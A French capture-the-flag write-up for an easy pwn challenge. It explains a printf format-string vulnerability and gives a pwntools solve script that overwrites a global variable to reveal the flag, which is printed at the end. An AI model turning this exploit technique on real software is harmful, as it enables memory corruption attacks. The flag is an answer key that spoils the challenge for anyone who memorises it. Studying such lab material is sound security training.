[CTF GEMA] Change Me
CTF GEMA Groupe 2025
Niveau de Difficulté : Easy
Catégorie du Challenge : Pwn
Description :
Votre mission consiste à modifier une valeur mystérieuse du programme et à révéler ce qui est caché. Le temps est compté et une seule erreur pourrait vous coûter cher. ⏱️
Soyez créatif, sortez des sentiers battus et manipulez le flux pour découvrir le prix qui vous attend. Mais dépêchez-vous, le temps presse ! 🏃♂️💨 Bonne chance ! 🏆
Steps to Solve
Format string dans fgets() :
La vulnérabilité dans le code est une vulnérabilité classique de format string, qui provient de l'appel à la fonction printf
:
char buf[40];
fgets(buf, 40, stdin);
printf(buf); // User input is used as the format string!
La fonction printf
est utilisée avec un tampon contrôlé par l'utilisateur, buf
, qui est rempli avec l'entrée de l'utilisateur via fgets
. Le problème ici est que printf
est utilisé sans chaîne de format, ce qui permet à un attaquant d'injecter des spécificateurs de format comme %n
, ce qui peut manipuler la mémoire.
Cela est particulièrement dangereux car l'attaquant peut utiliser la chaîne de format pour écraser la variable globale ChangeMe
, qui est vérifiée plus tard dans le programme pour déterminer si le flag doit être imprimé.
La fonction fgets
prend l'entrée de l'utilisateur et la place dans le tableau buf
, qui est ensuite passé à printf
. Étant donné que l'entrée n'est pas filtrée et que printf
interprète l'entrée utilisateur comme des spécificateurs de format, cela ouvre la voie à une exploitation.
En créant une entrée spécifique, un attaquant peut écraser la mémoire à l'adresse de la variable ChangeMe
, la définissant à 1. Une fois la valeur modifiée, le programme affichera le flag.
1. Identifier la Cible
L'objectif est d'écraser la variable globale ChangeMe
(initialisée à 0) pour la rendre non nulle. La fonction win()
, qui imprime le flag, est exécutée si ChangeMe
est non nul :
if (ChangeMe) { // Passes if ChangeMe != 0
win();
}
2. Localiser ChangeMe
en Mémoire
L'adresse de ChangeMe
peut être extraite du binaire en utilisant des outils comme readelf
ou via la classe ELF de pwntools :
change_me_addr = elf.symbols['ChangeMe']
3. Déterminer l'Offset de la Format String
L'offset de la format string spécifie où l'entrée contrôlée par l'utilisateur apparaît sur la stack. Cela est nécessaire pour positionner correctement l'adresse cible (ChangeMe
). Le module FmtStr de pwntools automatise la recherche de cet offset :
autofmt = FmtStr(find_offset)
offset = autofmt.offset
4. Créer le Payload
En utilisant l'offset, construisez un payload pour écrire 0x41
(n'importe quelle valeur non nulle) dans ChangeMe
. La fonction fmtstr_payload simplifie cette étape :
payload = fmtstr_payload(
offset,
{change_me_addr: 0x41},
write_size='byte' # Overwrite only 1 byte (sufficient for non-zero)
)
5. Exécuter l'Exploit
Envoyez le payload au programme pour déclencher la vulnérabilité et afficher le flag :
p.sendlineafter(b"> ", payload)
Solve Code :
from pwn import *
elf = ELF("./main")
context(binary=elf)
libc = None
context.log_level = "debug"
def conn():
global libc
if args.LOCAL:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
p = remote("127.0.0.1", 1234)
return p
def find_offset(payload):
p = elf.process()
p.sendlineafter(b"> ", payload)
return p.recvline().strip()
def main():
autofmt = FmtStr(find_offset)
offset = autofmt.offset
p = conn()
payload = fmtstr_payload(offset, {elf.symbols['ChangeMe']: 0x41}, write_size='byte')
p.sendlineafter(b"> ", payload)
p.interactive()
if __name__ == "__main__":
main()
...
Flag
FLAG{f0rm4t_5tr1ng5_4r3_sw1ss_4rmy_kn1v3s}